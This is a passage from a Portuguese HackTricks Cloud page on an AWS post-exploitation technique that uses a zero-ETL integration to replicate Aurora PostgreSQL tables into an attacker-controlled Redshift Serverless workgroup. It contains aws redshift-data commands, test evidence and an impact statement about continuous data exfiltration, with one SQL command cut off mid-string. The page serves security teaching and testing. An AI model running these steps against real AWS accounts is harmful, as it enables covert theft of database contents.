```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration 'EvidĂȘncia observada no teste:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:âŠ377a462b-âŠ
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a table customers; a seleção de ztl.customers retornou 2 rows (Alice, Bob).
Impacto: Exfiltração contĂnua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
HackTricks Cloud

